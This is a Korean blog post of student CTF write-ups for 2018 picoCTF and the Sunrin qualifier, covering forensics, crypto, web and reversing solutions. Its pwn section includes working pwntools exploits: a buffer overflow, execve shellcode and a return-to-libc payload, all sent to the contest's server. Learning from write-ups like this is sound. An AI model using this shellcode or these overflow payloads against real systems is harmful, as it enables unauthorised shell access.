$ grep -r pico
files/files2/file20:picoCTF{grep_r_and_you_will_find_556620f7}
Flag : picoCTF{grep_r_and_you_will_find_556620f7}

Client Side is Still Bad - Point : 150 [Web Exploitation]

딱 웹 사이트 들어가자마자 Secure Login Sever를 들어가려면 자격이 필요하다나.. 그래서 소스를 보니 자바스크립트가 있었다.

자바스크립트를 보면 verify라는 함수에서 입력 조건이 써있어서 그대로 써주고 그 입력 조건이 맞으면 alert 뜨게 하는거였다. picoCTF{client_is_bad_9117e9} 이걸 넣어주면 You got the flag! 틀리면 Incorrect password라고 뜬다.

Flag : picoCTF{client_is_bad_9117e9}

Recovering From the Snap - Point : 150 [Forensics]

animals.dd 파일을 받았는데 용량이 10MB나 됐다... 먼저 시그니처를 별다른게 없어서 밑으로 조금 내리다가 보니까 오프셋 9A00 에서 FF D8 FF E0 00 10 4A 46 49 46 jpg 시그니처를 확인하고는 animals.dd파일 안에 여러 이미지가 담겨 있는 것을 알게되었다.

jpg의 푸터 시그니처인 FF D9를 찾았다. 오프셋 A400까지였다. 9A00 ~ A400까지 한 이미지를 추출해냈다.

하지만 이 그림에는 flag가 없었다. 이런 문제는 보통 그림에 photoshop을 사용해서 들어간다.

그래서 photoshop이라는 텍스트를 검색해서 photoshop이 포함되어있는 jpg 파일을 추출해냈다.

오프셋 2DCA00 부터 2E67B0 까지였다. 이 오프셋 범위만 따로 추출해냈더니 flag 이미지가 나왔다.

Flag : picoCTF{th3_5n4p_happ3n3d}

admin panel - Point : 150 [Forensics]

data.pcap 파일을 내려받아서 wireshark 를 이용해 pcap 폴더를 열었다. 여기서 프로토콜이 HTTP인 것을 확인해보니 login, logout, %2f, admin 등등 여러 패킷이 전송된 것을 볼 수 있었다. 이 패킷들을 따로 추출해서 확인해봤다.

텍스트파일중 login(2)를 확인해봤더니 flag가 적혀있었다. user=admin&password=picoCTF{n0ts3cur3_df598569}

Flag : picoCTF{n0ts3cur3_df598569}

caesar cipher 1 - Point : 150 [Cryptography]

ciphertext라는 text파일을 받고 열어본 결과 picoCTF{grpqxdllaliazxbpxozfmebotlvlicmr} 이렇게 나와있는데 대괄호 안을 카이사르 암호로 치환하면 된다. 파이썬 코드로 돌렸더니 ROT23번째가 flag였다.

def translate(string, key, mode):
   translated_string = ""

   if mode == 'decrypt':
       key = -key

   for char in string:
       if char.isalpha():
           num = ord(char)
           num += key

           if char.isupper():
               if num > ord('Z'):
                   num -= 26
               elif num < ord('A'):
                   num += 26
           elif char.islower():
               if num > ord('z'):
                   num -= 26
               elif num < ord('a'):
                   num += 26
           translated_string += chr(num)
       else:
           translated_string += char
   return translated_string

encrypted = 'grpqxdllaliazxbpxozfmebotlvlicmr' # input
for i in range(1, 26):
   decrypted = translate(encrypted, i, 'decrypt')
   print ("".join(['ROT', str(i), ': ', decrypted]))
Flag : picoCTF{justagoodoldcaesarcipherwoyolfpu}

environ - Points : 150 [General Skills]

유닉스 셸 명령어 env를 이용해서 환경변수를 확인했다.

$ env | grep pico
SECRET_FLAG=picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}
Flag : picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}

hex editor - Points : 150 [Forensics]

HxD로 Find로 pico 형식을 입력하니까 바로 나왔다.

Flag : picoCTF{and_thats_how_u_edit_hex_kittos_8BcA67a2}

Secret Agent - Points : 200 [Web Exploitation]

시크릿 에이전트를 사용할 줄 몰라서 시간 엄청 뺏긴 문제다. http://2018shell2.picoctf.com:3827/flag 이 링크에서 flag를 누르면 이상한게 뜨는데 내가 사용하는 크롬,웨일,사파리 등등 뜨길래 당황했다. 정말 이런 문제 처음 접해봤지만 신기했다. flag를 누르면 너는 구글이 아니라고 뜨길래 구글에서 엄청 찾다가 구글 봇이라는 걸 찾았다. 내가 사용하고있는 에이전트를 구글 봇으로 바꿔주면 된다.

개발자모드(F12) 들어가서 NetWork 들어가서 밑에 콘솔창 옆에 점 세개 있는거 누르고 NetWork Conditions 누르고 거기서 에이전트를 구글봇으로 바꿔주고 다시 웹 사이트 접속해서 FLAG 눌러주면 flag가 나온다.

Flag : picoCTF{s3cr3t_ag3nt_m4n_12387c22}

Truly an Artist - Points : 200 [Forensics]

HxD로 pico형식 찾으니까 바로 나왔다.

Flag : picoCTF{look_in_image_7e31505f}

now you don't - Points : 200 [Forensics]

배경이 완전히 빨강색이고 PNG이길래 그림판으로 색을 덮어줬더니 Flag가 나왔다.

Flag : picoCTF{n0w_y0u_533_m3}

what base is this? - Points : 200 [General Skills]

nc로 접속하면 진수를 아스키코드를 30초안에 바꾸라고 나온다. 쉽게 쓱싹 바꿔줬다.

$ nc 2018shell2.picoctf.com 1225
We are going to start at the very beginning and make sure you understand how data is stored.
apple
Please give me the 01100001 01110000 01110000 01101100 01100101 as a word.
To make things interesting, you have 30 seconds.
Input:
apple
Please give me the 67696d70 as a word.
Input:
gimp
Please give me the 164 165 162 164 154 145 as a word.
Input:
turtle
You got it! You're super quick!
Flag: picoCTF{delusions_about_finding_values_451a9a74}

store - Points : 400 [General Skills]

r2 열어서 분석했더니 쉽게 나왔다.

이런게 400점이나…

Flag : picoCTF{numb3r3_4r3nt_s4f3_cbb7151f}

quackme - Points : 200 [Reversing]

주소의 값을 가져와서 xor 연산해주면 된다. 여기서 알게된 점이 flag 형식을 통해 문제를 푸는 방법을 듣고 좋은 팁을 알아갔다.

table = [0x29, 0x6, 0x16, 0x4f, 0x2b, 0x35, 0x30, 0x1e, 0x51, 0x1b, 0x5b, 0x14, 0x4b, 0x8, 0x5d, 0x2b, 0x52, 0x17, 0x1, 0x57, 0x16, 0x11, 0x5c, 0x7, 0x5d]
flag = [0x59, 0x6f, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x6e, 0x6f, 0x77, 0x20, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x44, 0x75, 0x63, 0x6b]
answer = ""
for i in range(len(table)):
   answer += chr(table[i]^flag[i])
print(answer)

Flag : picoCTF{qu4ckm3_7ed36e4b}

quackme up - Points : 350 [Reversing]

11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1 이 값이 나오도록 만들라고 해서 이 문제는 노가다로 1을 입력하면 05 이런식으로 나오길래 알파벳, 특수기호, 번호를 입력해서 값을 찾아서 일일이 매칭시켜줬다.

Flag : picoCTF{qu4ckm3_8c02c0af}

후기

우리반에서 보안 공부하는 애들과 함께 나간 대회이다. 이 기회를 통해 친구들과 재밌게 즐겼던거 같다. 포렌식 문제들은 거의 스테가노 문제였고 많이 풀었던 형식들이라 쉽게 풀 수 있었지만 어려운 포렌식 문제는 아직 능력이 안되서 그런지 풀지 못했다. 리버싱은 대회가 끝나고 친구의 도움으로 풀었다. 아직은 너무 부족하고 열심히 공부해서 내년에는 꼭 풀 수 있도록 해야겠다.

'CTF WriteUp' 카테고리의 다른 글

2019 Codegate Quals Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11
2018 OtterCTF Writeup  (0) 2018.12.11
2018 고등해커 예선 Writeup  (0) 2018.11.22
layout: post
title: 2018 고등해커 예선 Writeup
date: 2018-11-1
mathjax: true
tag: [고등해커Writeup]
categories: 0x02_Writeups

2018 선린 고등해커 문제풀이 보고서

팀명 : 웹해킹은USA해킹


※ 문제 풀이 보고서의 내용 중 플래그(flag)를 인증한 문제가 없을 경우에는 순위 변동 및 실격처리 될 수 있습니다.

등수 : 8등

점수 : 1270

MISC

  • Mic Check - 10pt

디스코드로 주어진 플래그를 입력하였다.

FLAG : Sunrin{I_am_godeung_h4ck3r!~}

  • What's mean? - 50pt

_는 0으로 -는 1로 바꿔주고 8자리씩 나눠져있는 이진수값을 ASCII로 바꿔주었다.

FLAG : Sunrin{D0_y0u_kn0w_b1n4ry?}

  • Beep and daum yo - 80pt

밑 부분에 바코드가 살짝 남아있길래 그림판으로 똑같이 그리고 휴대폰 바코드 인증해 풀었다.

FLAG : Sunrin{BeepBeep}

  • Gazua!! - 80pt

오프셋 EAD1F에서 PNG 시그니처가 숨겨져있었다. 오프셋 ED40B에 49 45 4E 44 AE 42 60 82 PNG 푸터가 있었다.

그 범위만 짤라서 새로운 PNG로 저장하고 봤더니 흰 바탕화면에 Where is Flag? 라는 문구가 적혀있었다. 그림판으로 바탕을 검은색으로 덮었더니 FLAG가 나왔다.

FLAG : Sunrin{easy_stegano..}

  • Replace - 120pt

첫 스테이지에서 get방식으로 name을 admin으로 값을 넘겨야 stage2로 간다.

두번 째 스테이지에서 get방식으로 값이 admin이 되야지 다음 스테이지로 넘어간다는 것을 알았다. 중간에 코드를 보니 str_replace함수로 인해 admin을 그대로 입력하면 값이 사라진다는 걸 알았다. 따라서 admin사이에 admin이라는 말을 아무대나 집어넣으면 풀린다는 걸 알았다. admadminin을 넣었더니 stage3로 넘어갔다.

세번 째 스테이지 get방식으로 name을 admin으로 값을 넘겨야 플래그를 얻을 수 있다는걸 알았다. 그래서 str_replace 함수를 보니 name값이 계속 str_replace 함수로 인해 계속 바뀐다는 것을 알았다. 그래서 str_replace 맨 밑에서부터 차례대로 값을 변경해줘서 admdmiadmdmiinin을 넣었더니 FLAG를 얻었다.

FLAG : flag is Sunrin{th1s_ch4ll_1s_very*30_e4sy_chall}

  • easy_misc - 130pt

첫번 째 스테이지에서 base64로 디코딩하였더니 wooooooooooooooooow_THis_is_stage1_key!!!이 나왔다.

두번 째 스테이지에서 input1 디코딩한 값과 input2 디코딩한 값이 같은데 길이는 달라야한다. 그래서 2번째 스테이지에서 input1을 = input2를 ==를 넣었다.

세번 째 스테이지에서 input1 디코딩한 값과 input2 디코딩한 값이 같고 길이는 같은데 원문이 달라야한다. 그래서 input1에 == input2에 !=을 넣었다. You are....misc hacker..가 뜨면서 플래그가 나왔다.

FLAG : Sunrin{B4SE64_M4st3r}

  • Easy Math Game - 150pt

nc로 접속해서 나온 머리로 암산해서 일일이 방정식들을 풀었다 ....

FLAG : Sunrin{Th1s_1s_B4sic_m4th_g4m3}

PWN

  • WhatIsBOF - 50pt

V4를 scanf로 받고 v5가 AAAA인지를 1094795585인지를 체크하고 맞다면 system(“/bin/sh”)를 사용한다.

그러나 scanf에서 bof취약점이 발생한다.

V4는 esp+2h에 위치하고 v5는 esp+20h에 위치함으로 우리는 v5의 값을 우리가 원하는 값으로 바꿀 수 있다.

from pwn import * 

r=remote("110.10.189.33",19886)
payload="A"*100
r.sendline(payload)
r.interactive()

FLAG : Sunrin{AAAAAAAAAAAAABOF}

  • What Is ShellCode - 75pt

위의 코드는 버퍼에 0x32만큼 입력을 받고 buf의 첫번째 주소로 간다. 따라서 우리는 버퍼안에 쉘코드 즉, system(“/bin/sh”)를 실행시킬수있는 쉘코드를 버퍼안에 넣어주면 된다. 어떠한 보호기법이 설정되어 있는지를 보자.

어떠한 보호기법도 설정이 되어 있지 않다. 따라서 우리는 신경안쓰고 버퍼안에다가 쉘코드를 넣으면 된다.

from pwn import *

r=remote("110.10.189.33",19786)
payload="\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
r.sendline(payload)
r.interactive()

FLAG : Sunrin{v3ry_v3ry_strawberry}

  • PWN_TRAINING - 100pt

이 문제는 파일이 없었다.

문제를 보니 RTL을 이용하여 푸는 문제인 것 같다.

buffer부터 ebp까지가 264만큼이고 ebp+4가 return이다. 따라서

“A”*264+”BBBB”+”system주소”+”AAAA”+”/bin/sh주소”를 하면 쉘이 실행이 된다.

from pwn import *

r=remote("110.10.189.33",12001)

system_add=0x8048440
sh_add=0x804a030
payload="A"*264+"BBBB"
payload+=p32(system_add)
payload+="AAAA"
payload+=p32(sh_add)
r.recvuntil("buffer :")
r.sendline(payload)
r.interactive()

FLAG : Sunrin{W0w..Y0u_w1ll_b3_g0od_pwn3r!!}

  • THUG_LIFEEEEE - 125pt

이 문제는 money가 199999보다 크면 쉘을 얻게 된다. 일단 돈을 많이 벌 방법을 생각해야한다.

bank함수를 불러오고 1을 입력하면 bank안의 돈을 0 <= money <= 300000까지 넣을 수 있다.

근데 v1이 자신의 돈인데 자신이 0을 같고 있더라고 bank money를 300000을 넣을수 있다. 그리고 돈을 넣으면 돈이 음수가 된다. 이제 빛을 지울 방법을 생각해야 한다. 계속을 일을 해서 체력이 사라지면 돈을 0으로 초기화 해준다.

]

이제 빛을 지울 방법을 생각해야 한다. 계속을 일을 해서 체력이 사라지면 돈을 0으로 초기화 해준다.

그리고 31337을 입력하면 goal이라는 함수를 불러온다.

REV

  • hida - 50pt

hidahidahidahidahidahida는 raw_input()

hidahidahidahidahida는 range()

hidahidahidahidahidahidahida는 len()

hidahidahidahidahidahidahidahida는 ord() 로 바꿔주고 변수나 함수들도 이름을 쉽게 쉽게 바꿔주었다.

전역변수가 연산된게 리스트안의 값들과 xor연산이 되는 것을 볼 수 있다.

gg = 4

for i in range(15):
   gg = (gg*427951+35862)%256
   print(gg),

table = [129, 209, 92, 54, 251, 138, 137, 253, 98, 81, 237, 172, 123, 0, 19]
ggsdd = [210, 164, 50, 68, 146, 228, 242, 132, 82, 36, 178, 196, 18, 100, 114]
flag = ""
for i in range(len(table)):
   flag += chr(ggsdd[i]^table[i])
print("")
print(flag)

FLAG : Sunrin{y0u_hida}

  • Ego - 100pt

문제로 주어진 Ego.pyc 파일을 디컴파일해서 Ego.py로 생성하였다.

# uncompyle6 version 3.2.3
# Python bytecode 3.5 (3351)
# Decompiled from: Python 2.7.15 (default, Jul 23 2018, 21:27:06)
# [GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)]
# Embedded file name: Ego.py
# Compiled at: 2018-10-04 16:16:32
# Size of source mod 2**32: 304 bytes
import hashlib
i = input().strip()
k = hashlib.new('md5')
k.update(i.encode())
if i.split('_') == ['Sunrin{this', 'is', 'flag', '', 'lool', '', '}'] and k.digest() == 'Y\xa8\x07-P$\xdc\xcc\x02C\x1a#\xf5\xc4\xd1\x97':
   print('OK')
else:
   print('NOPE')
# okay decompiling Ego.pyc

'Sunrin{this', 'is', 'flag', '', 'lool', '', '}' 여기에서 split해서 _를 넣었다.

FLAG : Sunrin{this_is_flag__lool__}

CRYPTO

  • Outdated - 50pt

rot13 파이썬 코드를 짜서 돌렸다.

def translate(string, key, mode):
   translated_string = ""

   if mode == 'decrypt':
       key = -key

   for char in string:
       if char.isalpha():
           num = ord(char)
           num += key

           if char.isupper():
               if num > ord('Z'):
                   num -= 26
               elif num < ord('A'):
                   num += 26
           elif char.islower():
               if num > ord('z'):
                   num -= 26
               elif num < ord('a'):
                   num += 26
           translated_string += chr(num)
       else:
           translated_string += char
   return translated_string

encrypted = 'Fhaeva{GuvfGuvatVfGbbByq}'
for i in range(1, 26):
   decrypted = translate(encrypted, i, 'decrypt')
   print ("".join(['ROT', str(i), ': ', decrypted]))

rot13에서 플래그 값이 나왔다.

FLAG : ROT13: Sunrin{ThisThingIsTooOld}

  • CanUevenCode - 100pt

플래그 형식이 Sunrin{ 이니까 먼저 넣어줬더니 앞쪽 값이 일치한 것을 알 수 있었다. 그리고 입력받은 2개씩 넣으면 그거에 따라 값이 나오는데 저 코드들에 맞게 ASCII 테이블을 보면서 1시간정도 걸쳐 노가다로 풀었다..

FLAG : Sunrin{R34ding_S33k1ng_fl4g1ng_th3_v1ct0ry}

'CTF WriteUp' 카테고리의 다른 글

2019 Codegate Quals Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11
2018 OtterCTF Writeup  (0) 2018.12.11
2018 picoCTF Writeup  (0) 2018.11.22

+ Recent posts